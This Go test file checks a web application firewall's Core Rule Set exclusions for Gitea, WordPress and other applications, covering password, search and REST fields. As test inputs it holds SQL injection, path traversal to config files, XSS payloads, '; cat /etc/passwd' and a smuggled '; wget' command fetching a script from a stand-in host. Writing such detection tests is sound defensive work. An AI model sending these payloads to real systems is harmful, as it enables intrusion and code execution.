crs := readingBodies(t)
|
|
misfiring := misfiringPasswords(t)
|
|
names := []string{name}
|
|
|
|
body := passwordBody(t, r, names, misfiring...)
|
|
if len(body) > bodyLimit {
|
|
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
|
}
|
|
|
|
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
|
return
|
|
}
|
|
|
|
for _, password := range misfiring {
|
|
body := passwordBody(t, r, names, password)
|
|
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
|
|
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
|
|
password, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// wantPasswordAttacksPass checks that an SQL injection, a path traversal, a
|
|
// shell command and a script in an event handler, each sent as the whole
|
|
// password in each of the fields names of r's body, pass while bodies are
|
|
// read.
|
|
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
|
t.Helper()
|
|
|
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
|
|
for _, attack := range []string{
|
|
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
|
|
"<img src=x onerror=x()>",
|
|
} {
|
|
body := passwordBody(t, r, names, attack)
|
|
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score >= threshold {
|
|
t.Errorf("%s %s %v %q refused: %+v", r.method, r.target, names,
|
|
attack, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// wantPasswordAttacksRefused checks that a script tag and a javascript: link,
|
|
// each sent as the whole password in the field name of r's body, are refused
|
|
// while bodies are read.
|
|
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
|
|
t.Helper()
|
|
|
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
|
|
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
|
|
body := passwordBody(t, r, []string{name}, attack)
|
|
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
|
|
t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
|
|
attack, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// passwordFields names the password fields one form or JSON body sends to
|
|
// target. contentType is formData or jsonBody.
|
|
type passwordFields struct {
|
|
target, contentType string
|
|
names []string
|
|
}
|
|
|
|
// wantPasswordFieldsPass checks that the random passwords pass in each field
|
|
// of fields, that the attacks that pass in a password pass in all of a
|
|
// target's fields sent together, and that a script tag or a javascript: link
|
|
// in any one field is still refused. Sending the attacks together keeps the
|
|
// test cheap: a body of them is refused if any one field checks them.
|
|
func wantPasswordFieldsPass(t *testing.T, fields []passwordFields) {
|
|
t.Helper()
|
|
|
|
for _, sent := range fields {
|
|
t.Run(sent.target+" "+sent.contentType, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
r := request{http.MethodPost, sent.target, []string{sent.contentType}}
|
|
|
|
wantPasswordAttacksPass(t, r, sent.names...)
|
|
|
|
for _, name := range sent.names {
|
|
wantRandomPasswordsPass(t, r, name)
|
|
wantPasswordAttacksRefused(t, r, name)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestGiteaPasswordsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// gitea's password fields, each sent to one of the paths that takes it.
|
|
fields := []passwordFields{
|
|
{"/user/login", formData, []string{passwordKey}},
|
|
{"/user/sign_up", formData, []string{passwordKey, retypeKey}},
|
|
{"/user/link_account_signin", formData, []string{passwordKey}},
|
|
{"/user/link_account_signup", formData, []string{passwordKey, retypeKey}},
|
|
{"/user/activate", formData, []string{passwordKey}},
|
|
{"/user/recover_account", formData, []string{passwordKey}},
|
|
{"/user/settings/change_password", formData, []string{passwordKey, retypeKey}},
|
|
{
|
|
"/user/settings/account", formData,
|
|
[]string{"old_password", passwordKey, retypeKey},
|
|
},
|
|
{"/user/settings/account/delete", formData, []string{passwordKey}},
|
|
{"/-/admin/users/new", formData, []string{passwordKey}},
|
|
{"/-/admin/users/1/edit", formData, []string{passwordKey}},
|
|
{"/admin/users/1/edit", formData, []string{passwordKey}},
|
|
{"/api/v1/admin/users", jsonBody, []string{passwordKey}},
|
|
{"/api/v1/admin/users/alice", jsonBody, []string{passwordKey}},
|
|
}
|
|
|
|
wantPasswordFieldsPass(t, fields)
|
|
}
|
|
|
|
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// These fields skip the rules only when the query has no field of the
|
|
// same name. An SQL injection in the query is refused.
|
|
for _, sent := range []struct{ path, field string }{
|
|
{nextcloudSignIn, passwordField},
|
|
{mediawikiAPI, passwordField},
|
|
{mediawikiAPI, "lgpassword="},
|
|
{mediawikiAPI, retypeKey + "="},
|
|
{mediawikiAccountChange, passwordField},
|
|
{mediawikiAccountChange, retypeKey + "="},
|
|
{mediawikiSignUp, retypeKey + "="},
|
|
{"/wiki/Special:UserLogin", retypeKey + "="},
|
|
{"/user/sign_up", passwordField},
|
|
{"/user/settings/account", "old_password="},
|
|
{wpLogin, "pass1="},
|
|
{wpLogin, "post_password="},
|
|
{"/wp-admin/profile.php", "pass2="},
|
|
{"/wp-json/wp/v2/users", passwordField},
|
|
{drupalRegister, "pass%5Bpass1%5D="},
|
|
{"/user/1/edit", "current_pass="},
|
|
{"/auth/challenge", "form_challenge%5Bcurrent_password%5D="},
|
|
{"/login/confirm", passwordField},
|
|
{"/settings/personal/changepassword", "newpassword="},
|
|
{"/apps/encryption/ajax/adminRecovery", "confirmPassword="},
|
|
{"/admin", "token="},
|
|
} {
|
|
r := request{
|
|
http.MethodPost, sent.path + "?" + sent.field + "'%20OR%20'1'='1",
|
|
[]string{formData},
|
|
}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+"example")
|
|
if got.Score < threshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestGiteaAttacksAreRefused(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
|
|
crs := atDefaults(t)
|
|
|
|
// In q too, off gitea's search pages.
|
|
for _, parameter := range []string{"id", "q"} {
|
|
for _, attack := range []string{
|
|
sqlInjection,
|
|
"..%2Fcustom%2Fconf%2Fapp.ini",
|
|
scriptInjection,
|
|
} {
|
|
target := "/owner/repo?" + parameter + "=" + attack
|
|
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// gitea has no owner named api, so these are not a repository's search,
|
|
// issues or pull requests. /api/v2/search is Mastodon's search.
|
|
for _, path := range []string{
|
|
"/api/v2/search",
|
|
"/api/v2/issues",
|
|
"/api/v2/pulls",
|
|
} {
|
|
for _, attack := range []string{
|
|
sqlInjection,
|
|
scriptInjection,
|
|
"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
|
|
} {
|
|
target := path + "?q=" + attack
|
|
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// Nor is a page opened from them.
|
|
for _, attack := range []string{scriptTag, injection} {
|
|
referer := "Referer: https://example.com" + path + "?q=" + attack
|
|
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
|
|
t.Errorf("%s let through: %+v", referer, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
|
|
// REST API routes of a post and of the tags.
|
|
const (
|
|
wpLogin = "/wp-login.php"
|
|
wpComment = "/wp-comments-post.php"
|
|
wpAjax = "/wp-admin/admin-ajax.php"
|
|
wpPost = "/wp-json/wp/v2/posts/1"
|
|
wpTags = "/wp-json/wp/v2/tags"
|
|
)
|
|
|
|
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
|
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
|
|
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
return shared(t, coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
|
})
|
|
}
|
|
|
|
// wordpressAttackTargets returns attack in a query parameter no exclusion
|
|
// names, and in each field whose searches and names skip some rules there.
|
|
func wordpressAttackTargets(attack string) []string {
|
|
return []string{
|
|
"/?id=" + attack,
|
|
wpLogin + "?id=" + attack,
|
|
"/wp-admin/admin-ajax.php?id=" + attack,
|
|
"/wp-json/wp/v2/posts?id=" + attack,
|
|
"/?s=" + attack,
|
|
"/index.php?s=" + attack,
|
|
"/page/2/?s=" + attack,
|
|
"/index.php/page/2/?s=" + attack,
|
|
"/wp-admin/edit.php?s=" + attack,
|
|
"/wp-admin/upload.php?s=" + attack,
|
|
"/wp-admin/plugin-install.php?s=" + attack,
|
|
"/wp-admin/edit-comments.php?s=" + attack,
|
|
"/wp-admin/users.php?s=" + attack,
|
|
"/wp-admin/plugins.php?s=" + attack,
|
|
"/wp-admin/edit-tags.php?s=" + attack,
|
|
"/wp-json/wp/v2/search?search=" + attack,
|
|
"/wp-json/wp/v2/posts?search=" + attack,
|
|
"/wp-json/wp/v2/tags?search=" + attack,
|
|
"/?rest_route=/wp/v2/search&search=" + attack,
|
|
"/wp-json/wp/v2/posts?slug=" + attack,
|
|
"/wp-json/wp/v2/tags?slug=" + attack,
|
|
"/?rest_route=/wp/v2/posts&slug=" + attack,
|
|
"/wp-json/wp/v2/block-directory/search?term=" + attack,
|
|
"/wp-admin/themes.php?search=" + attack,
|
|
"/wp-admin/theme-install.php?search=" + attack,
|
|
"/wp-admin/upload.php?search=" + attack,
|
|
"/wp-admin/admin-ajax.php?q=" + attack,
|
|
"/wp-admin/admin-ajax.php?term=" + attack,
|
|
"/wp-admin/edit.php?_wp_http_referer=" + attack,
|
|
"/wp-admin/upload.php?_wp_http_referer=" + attack,
|
|
"/?tag=" + attack,
|
|
"/index.php?tag=" + attack,
|
|
"/wp-admin/edit.php?tag=" + attack,
|
|
"/wp-admin/edit.php?category_name=" + attack,
|
|
"/wp-admin/plugin-editor.php?file=" + attack,
|
|
"/wp-admin/theme-editor.php?file=" + attack,
|
|
"/wp-admin/plugin-editor.php?plugin=" + attack,
|
|
"/wp-admin/plugins.php?plugin=" + attack,
|
|
"/wp-admin/update.php?plugin=" + attack,
|
|
"/wp-admin/admin.php?page=" + attack,
|
|
"/wp-admin/options-general.php?page=" + attack,
|
|
"/wp-admin/tools.php?page=" + attack,
|
|
"/wp-admin/site-editor.php?p=" + attack,
|
|
"/wp-admin/site-editor.php?postId=" + attack,
|
|
"/wp-admin/admin-ajax.php?slug=" + attack,
|
|
"/wp-json/wp-block-editor/v1/url-details?url=" + attack,
|
|
"/wp-json/oembed/1.0/proxy?url=" + attack,
|
|
"/?rest_route=/oembed/1.0/proxy&url=" + attack,
|
|
}
|
|
}
|
|
|
|
func TestWordPressAttacksAreRefused(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
|
|
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
|
|
|
for _, attack := range []string{
|
|
sqlInjection,
|
|
"..%2F..%2Fwp-config.php",
|
|
scriptInjection,
|
|
} {
|
|
for _, target := range wordpressAttackTargets(attack) {
|
|
if got := inspect(t, defaults, get(target)); got.Score < threshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// In a body field no exclusion names, on the paths with exclusions.
|
|
body := "id=" + attack
|
|
for _, target := range []string{
|
|
wpLogin,
|
|
wpComment,
|
|
wpAjax,
|
|
"/wp-admin/post.php",
|
|
"/wp-admin/options.php",
|
|
} {
|
|
got, _ := inspectBody(t, bodies,
|
|
request{http.MethodPost, target, []string{formData}}, body)
|
|
if got.Score < threshold {
|
|
t.Errorf("POST %s %q let through: %+v", target, body, got)
|
|
}
|
|
}
|
|
|
|
// In the body fields that skip some rules.
|
|
posts := append(wordpressBodyFields(attack),
|
|
wordpressBodyField{wpComment, formData, "url=" + attack})
|
|
for _, p := range posts {
|
|
got, _ := inspectBody(t, bodies,
|
|
request{http.MethodPost, p.target, []string{p.contentType}}, p.body)
|
|
if got.Score < threshold {
|
|
t.Errorf("POST %s %q let through: %+v", p.target, p.body, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// wordpressBodyField is a POST to target that sends body, a field whose
|
|
// name skips some rules there, with the Content-Type header contentType.
|
|
type wordpressBodyField struct{ target, contentType, body string }
|
|
|
|
// wordpressBodyFields returns encoded, a URL-encoded value, in a plugin to
|
|
// install and in each JSON field of a REST API save that skips some rules.
|
|
func wordpressBodyFields(encoded string) []wordpressBodyField {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
|
|
return []wordpressBodyField{
|
|
{wpAjax, formData, "action=install-plugin&slug=" + encoded},
|
|
{wpPost, jsonBody, fmt.Sprintf(`{"title":%q}`, value)},
|
|
{wpPost, jsonBody, fmt.Sprintf(`{"excerpt":%q}`, value)},
|
|
{wpPost, jsonBody, fmt.Sprintf(`{"slug":%q}`, value)},
|
|
{wpTags, jsonBody, fmt.Sprintf(`{"name":%q}`, value)},
|
|
}
|
|
}
|
|
|
|
// wordpressWords returns words that ordinary WordPress names and searches
|
|
// hold, each with the rule it misfired on.
|
|
func wordpressWords() []struct {
|
|
value string
|
|
rule int
|
|
} {
|
|
return []struct {
|
|
value string
|
|
rule int
|
|
}{
|
|
{".htaccess", 930120},
|
|
{"powershell", 932120},
|
|
{"ls -la", 932250},
|
|
{"python3", 932260},
|
|
}
|
|
}
|
|
|
|
// wordpressBlock is the comment that starts every block of WordPress's
|
|
// HTML, which rule 941180 matches.
|
|
const wordpressBlock = "<!-- wp:paragraph -->"
|
|
|
|
// wordpressOverride is the header with which the block editor saves.
|
|
const wordpressOverride = "X-HTTP-Method-Override: PUT"
|
|
|
|
// wordpressRESTAddresses returns the four addresses of route on the REST
|
|
// API.
|
|
func wordpressRESTAddresses(route string) []string {
|
|
return []string{
|
|
"/wp-json" + route,
|
|
"/index.php/wp-json" + route,
|
|
"/index.php?rest_route=" + route,
|
|
"/?rest_route=" + route,
|
|
}
|
|
}
|
|
|
|
func TestWordPressExclusionsFollowEveryRESTAddress(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodiesUpTo64K(t)
|
|
content := `{"content":"` + wordpressBlock + `"}`
|
|
|
|
for _, route := range []string{
|
|
"/wp/v2/posts/1",
|
|
"/wp/v2/posts/1/autosaves",
|
|
"/wp/v2/pages/2",
|
|
"/wp/v2/templates/twentytwentyfive//index",
|
|
"/wp/v2/template-parts/twentytwentyfive//header",
|
|
} {
|
|
for _, address := range wordpressRESTAddresses(route) {
|
|
r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}}
|
|
wantBody(t, crs, r, content, coreruleset.Result{}, content)
|
|
}
|
|
}
|
|
|
|
// The routes that save something else keep the rules.
|
|
for _, route := range []string{
|
|
"/wp/v2/comments", "/wp/v2/users/1", "/wp/v2/settings",
|
|
} {
|
|
for _, address := range wordpressRESTAddresses(route) {
|
|
r := request{http.MethodPost, address, []string{jsonBody}}
|
|
wantBody(t, crs, r, content, matched(941180), content)
|
|
}
|
|
}
|
|
|
|
// WordPress follows a route in the query over one in the path.
|
|
r := request{
|
|
http.MethodPost, "/wp-json/wp/v2/posts/1?rest_route=/wp/v2/comments",
|
|
[]string{jsonBody},
|
|
}
|
|
wantBody(t, crs, r, content, matched(941180), content)
|
|
}
|
|
|
|
func TestWordPressSearchesAndFileNamesAreExcludedOnlyThere(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get("/?s=python3"), get("/wp-admin/options.php?id=python3"),
|
|
matched(932260))
|
|
wantChange(t, crs, get("/?s=python3"), get("/?q=python3"), matched(932260))
|
|
wantChange(t, crs, get("/index.php?s=ls+-la"), get("/index.php?q=ls+-la"),
|
|
matched(932250))
|
|
wantChange(t, crs, get("/wp-json/wp/v2/search?search=powershell"),
|
|
get("/wp-json/example/v1/things?search=powershell"), matched(932120))
|
|
wantChange(t, crs, get("/index.php?rest_route=/wp/v2/search&search=powershell"),
|
|
get("/index.php?rest_route=/example/v1/things&search=powershell"), matched(932120))
|
|
wantChange(t, crs,
|
|
get("/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php"),
|
|
get("/wp-admin/options.php?file=akismet%2Fviews%2Fconfig.php"), matched(930120))
|
|
wantChange(t, crs, get("/wp-admin/theme-editor.php?file=docker-compose.yml"),
|
|
get("/wp-admin/theme-editor.php?id=docker-compose.yml"), matched(932260))
|
|
}
|
|
|
|
// TestWordPressGroupsSkipRulesOnTheirFields checks each field of the three
|
|
// groups in wordpress.conf at one target of its group, against the same
|
|
// values in a field no group names, then one field at each other target of
|
|
// the group, then the names in the first group that skip fewer rules.
|
|
func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// A page's address, repeating the search it came from. Rules 932235
|
|
// and 932260 match it, and only the fields that hold an address skip
|
|
// 932235.
|
|
const pageAddress = "%2Fwp-admin%2Fedit.php%3Fs%3Dpython3"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, group := range []struct {
|
|
target string
|
|
fields []string
|
|
addressFields []string
|
|
}{
|
|
{
|
|
"/wp-admin/options.php?",
|
|
[]string{
|
|
"s", "search", "q", "term", "tag", "category_name", "plugin",
|
|
"checked%5B%5D", "theme", "stylesheet", "page",
|
|
},
|
|
[]string{"url", "return", "redirect_to", "wp_http_referer", "_wp_http_referer"},
|
|
},
|
|
{"/wp-json/wp/v2/tags?", []string{"search", "term", "slug", "url"}, nil},
|
|
{"/?", []string{"s", "tag"}, nil},
|
|
} {
|
|
wantResult(t, crs, get(group.target+"id="+pageAddress), matched(932235, 932260))
|
|
|
|
for _, field := range group.fields {
|
|
wantResult(t, crs, get(group.target+field+"="+pageAddress), matched(932235))
|
|
}
|
|
|
|
for _, field := range group.addressFields {
|
|
wantResult(t, crs, get(group.target+field+"="+pageAddress), coreruleset.Result{})
|
|
}
|
|
|
|
for _, v := range wordpressWords() {
|
|
value := url.QueryEscape(v.value)
|
|
wantResult(t, crs, get(group.target+"id="+value), matched(v.rule))
|
|
|
|
for _, field := range slices.Concat(group.fields, group.addressFields) {
|
|
wantResult(t, crs, get(group.target+field+"="+value), coreruleset.Result{})
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, target := range []string{
|
|
"/wp-admin/term.php?s=python3",
|
|
wpLogin + "?s=python3",
|
|
"/index.php/wp-json/wp/v2/tags?slug=python3",
|
|
"/index.php?rest_route=/wp/v2/tags&slug=python3",
|
|
"/?rest_route=/wp/v2/tags&slug=python3",
|
|
"/wp-json/oembed/1.0/embed?url=python3",
|
|
"/?rest_route=/oembed/1.0/embed&url=python3",
|
|
"/index.php?tag=python3",
|
|
"/page/2/?tag=python3",
|
|
"/index.php/page/2/?s=python3",
|
|
} {
|
|
wantResult(t, crs, get(target), coreruleset.Result{})
|
|
}
|
|
|
|
// The names WordPress writes as slugs skip only 932120 and 932260.
|
|
for _, field := range []string{"p", "postId", "slug"} {
|
|
for _, v := range wordpressWords() {
|
|
want := coreruleset.Result{}
|
|
if v.rule == 930120 || v.rule == 932250 {
|
|
want = matched(v.rule)
|
|
}
|
|
|
|
target := "/wp-admin/options.php?" + field + "=" + url.QueryEscape(v.value)
|
|
wantResult(t, crs, get(target), want)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const command = "%3B+wget+http%3A%2F%2Fexample.com%2Fx.sh"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, target := range []string{
|
|
"/?s=",
|
|
"/page/2/?s=",
|
|
"/wp-admin/edit.php?s=",
|
|
"/wp-json/wp/v2/search?search=",
|
|
"/wp-admin/themes.php?search=",
|
|
"/wp-json/wp/v2/posts?slug=",
|
|
"/?rest_route=/wp/v2/posts&slug=",
|
|
"/wp-json/wp/v2/tags?url=",
|
|
"/wp-json/oembed/1.0/embed?url=",
|
|
"/?tag=",
|
|
"/wp-admin/edit.php?tag=",
|
|
"/wp-admin/admin-ajax.php?q=",
|
|
"/wp-admin/admin.php?page=",
|
|
"/wp-admin/options-general.php?page=",
|
|
"/wp-admin/tools.php?page=",
|
|
"/wp-admin/site-editor.php?p=",
|
|
"/wp-admin/site-editor.php?postId=",
|
|
"/wp-admin/admin-ajax.php?slug=",
|
|
} {
|
|
wantResult(t, crs, get(target+command), matched(932235))
|
|
}
|
|
|
|
bodies := readingBodiesUpTo64K(t)
|
|
|
|
for _, p := range wordpressBodyFields(command) {
|
|
r := request{http.MethodPost, p.target, []string{p.contentType}}
|
|
wantBody(t, bodies, r, p.body, matched(932235), p.body)
|
|
}
|
|
|
|
// The addresses of a link preview, an embed and a commenter's site keep
|
|
// 932260 too.
|
|
for _, target := range []string{
|
|
"/wp-json/wp-block-editor/v1/url-details?url=",
|
|
"/wp-json/oembed/1.0/proxy?url=",
|
|
} {
|
|
wantResult(t, crs, get(target+command), matched(932235, 932260))
|
|
}
|
|
|
|
comment := request{http.MethodPost, wpComment, []string{formData}}
|
|
wantBody(t, bodies, comment, "url="+command, matched(932235, 932260), "url="+command)
|
|
}
|
|
|
|
// TestWordPressOtherFieldsAreExcludedOnlyThere checks each field and rule
|
|
// on one of its paths against the same value where no exclusion applies.
|
|
func TestWordPressOtherFieldsAreExcludedOnlyThere(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const elsewhere = "/example/things"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, tt := range []struct {
|
|
target string
|
|
rule int
|
|
}{
|
|
{"/page/2/?s=python3", 932260},
|
|
{"/page/2/?s=ls+-la", 932250},
|
|
{"/page/2/?s=powershell", 932120},
|
|
{"/index.php/page/2/?s=python3", 932260},
|
|
{"/?s=.htaccess", 930120},
|
|
{"/?s=wp-config.php", 930120},
|
|
{"/?s=.bashrc", 930120},
|
|
{"/page/2/?s=.htaccess", 930120},
|
|
{"/wp-admin/edit-comments.php?s=powershell", 932120},
|
|
{"/wp-admin/users.php?s=ls+-la", 932250},
|
|
{"/wp-admin/plugins.php?s=python3", 932260},
|
|
{"/wp-admin/edit-tags.php?s=python3", 932260},
|
|
{"/wp-admin/themes.php?search=powershell", 932120},
|
|
{"/wp-admin/theme-install.php?search=ls+-la", 932250},
|
|
{"/wp-admin/upload.php?search=python3", 932260},
|
|
{"/wp-admin/admin-ajax.php?q=powershell", 932120},
|
|
{"/wp-admin/admin-ajax.php?q=ls+-la", 932250},
|
|
{"/wp-admin/admin-ajax.php?q=python3", 932260},
|
|
{"/wp-admin/admin-ajax.php?term=powershell", 932120},
|
|
{"/wp-admin/admin-ajax.php?term=ls+-la", 932250},
|
|
{"/wp-admin/admin-ajax.php?term=python3", 932260},
|
|
{"/wp-admin/edit.php?_wp_http_referer=.htaccess", 930120},
|
|
{"/wp-admin/edit.php?_wp_http_referer=powershell", 932120},
|
|
{"/wp-admin/upload.php?_wp_http_referer=ls+-la", 932250},
|
|
{"/wp-admin/users.php?_wp_http_referer=python3", 932260},
|
|
{"/wp-admin/upload.php?_wp_http_referer=%2Fupload.php%3Fmode%3Dlist%26ps", 932340},
|
|
{"/?tag=python3", 932260},
|
|
{"/index.php?tag=powershell", 932120},
|
|
{"/wp-admin/edit.php?tag=ls+-la", 932250},
|
|
{"/wp-admin/edit.php?category_name=python3", 932260},
|
|
{"/wp-admin/edit.php?category_name=powershell", 932120},
|
|
{"/wp-admin/edit.php?category_name=ls+-la", 932250},
|
|
{"/wp-admin/plugin-editor.php?file=install-script.sh", 932120},
|
|
{"/wp-admin/theme-editor.php?file=document.write.js", 941180},
|
|
{"/wp-admin/plugin-editor.php?plugin=docker-helper", 932260},
|
|
{"/wp-admin/plugins.php?plugin=powershell-tools", 932120},
|
|
{"/wp-admin/update.php?plugin=docker-helper", 932260},
|
|
{"/wp-admin/admin.php?page=docker-helper", 932260},
|
|
{"/wp-admin/options-general.php?page=powershell-tools", 932120},
|
|
{"/wp-admin/tools.php?page=ls+-la", 932250},
|
|
{"/wp-admin/tools.php?page=.htaccess", 930120},
|
|
{"/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Findex", 932260},
|
|
{"/wp-admin/site-editor.php?postId=powershell-theme%2F%2Findex", 932120},
|
|
{"/wp-admin/admin-ajax.php?slug=docker-helper", 932260},
|
|
{"/wp-json/wp-block-editor/v1/url-details?url=" +
|
|
"http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", 932120},
|
|
{"/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2F.htaccess", 930120},
|
|
} {
|
|
_, query, _ := strings.Cut(tt.target, "?")
|
|
wantChange(t, crs, get(tt.target), get(elsewhere+"?"+query), matched(tt.rule))
|
|
}
|
|
}
|
|
|
|
// TestWordPressRESTFieldsAreExcludedOnlyThere checks search, term, url and
|
|
// the header X-HTTP-Method-Override at the REST API's addresses.
|
|
func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
// Any route of WordPress's own API, at each address.
|
|
for _, route := range []string{
|
|
"/wp/v2/tags", "/wp/v2/categories", "/wp/v2/pages", "/wp/v2/media",
|
|
"/wp/v2/users", "/wp/v2/blocks", "/wp/v2/pattern-directory/patterns",
|
|
} {
|
|
wantChange(t, crs, get("/wp-json"+route+"?search=python3"),
|
|
get("/wp-json/example/v1/things?search=python3"), matched(932260))
|
|
wantChange(t, crs, get("/index.php?rest_route="+route+"&search=python3"),
|
|
get("/index.php?rest_route=/example/v1/things&search=python3"), matched(932260))
|
|
wantChange(t, crs, get("/?rest_route="+route+"&search=.htaccess"),
|
|
get("/?rest_route=/example/v1/things&search=.htaccess"), matched(930120))
|
|
}
|
|
|
|
const directory = "/wp-json/wp/v2/block-directory/search"
|
|
|
|
wantChange(t, crs, get(directory+"?term=python3"),
|
|
get("/wp-json/example/v1/things?term=python3"), matched(932260))
|
|
wantChange(t, crs, get(directory+"?term=powershell"),
|
|
get("/wp-json/example/v1/things?term=powershell"), matched(932120))
|
|
wantChange(t, crs, get(directory+"?term=ls+-la"),
|
|
get("/wp-json/example/v1/things?term=ls+-la"), matched(932250))
|
|
|
|
// The block editor's link previews and embeds: url skips only 930120 and
|
|
// 932120.
|
|
for _, target := range []string{
|
|
"/wp-json/wp-block-editor/v1/url-details?url=",
|
|
"/?rest_route=/wp-block-editor/v1/url-details&url=",
|
|
"/wp-json/oembed/1.0/proxy?url=",
|
|
"/?rest_route=/oembed/1.0/proxy&url=",
|
|
} {
|
|
for _, v := range wordpressWords() {
|
|
want := coreruleset.Result{}
|
|
if v.rule == 932250 || v.rule == 932260 {
|
|
want = matched(v.rule)
|
|
}
|
|
|
|
wantResult(t, crs, get(target+url.QueryEscape(v.value)), want)
|
|
}
|
|
}
|
|
|
|
// The header X-HTTP-Method-Override at the address on the site root,
|
|
// and off the REST API.
|
|
headers := []string{jsonBody, "Content-Length: 2", wordpressOverride}
|
|
wantChange(t, crs,
|
|
request{http.MethodPost, "/?rest_route=/wp/v2/posts/1", headers},
|
|
request{http.MethodPost, "/?p=1", headers}, matched(920450))
|
|
}
|
|
|
|
func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantResult(t, crs, get(wpLogin+"?pwd=%2Fetc%2Fhosts"), matched(930120))
|
|
wantResult(t, crs, get(wpLogin+"?PWD=%2Fetc%2Fhosts"), matched(930120))
|
|
wantResult(t, crs, get("/wp-admin/admin-ajax.php?content=ls+-la"), matched(932250))
|
|
wantResult(t, crs, get("/wp-admin/admin-ajax.php?newcontent=%3Cstyle%3E"),
|
|
matched(941100, 941160))
|
|
wantResult(t, crs,
|
|
get("/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape(wordpressBlock)),
|
|
matched(941180))
|
|
wantResult(t, crs, get("/wp-json/wp/v2/posts/1?json.title=python3"), matched(932260))
|
|
wantResult(t, crs, get("/wp-comments-post.php?url=powershell"), matched(932120))
|
|
}
|
|
|
|
// TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere checks the JSON
|
|
// fields of a REST API save, a plugin to install and a commenter's address,
|
|
// against the same values in another field and off their paths.
|
|
func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodiesUpTo64K(t)
|
|
|
|
for _, v := range wordpressWords() {
|
|
for _, field := range []string{"title", "excerpt", "name"} {
|
|
body := fmt.Sprintf(`{%q:%q}`, field, v.value)
|
|
|
|
for _, address := range wordpressRESTAddresses("/wp/v2/posts/1") {
|
|
r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}}
|
|
wantBody(t, crs, r, body, coreruleset.Result{}, body)
|
|
}
|
|
|
|
r := request{http.MethodPost, "/wp-json/example/v1/things", []string{jsonBody}}
|
|
wantBody(t, crs, r, body, matched(v.rule), body)
|
|
}
|
|
|
|
other := fmt.Sprintf(`{"description":%q}`, v.value)
|
|
r := request{http.MethodPost, wpTags, []string{jsonBody}}
|
|
wantBody(t, crs, r, other, matched(v.rule), other)
|
|
}
|
|
|
|
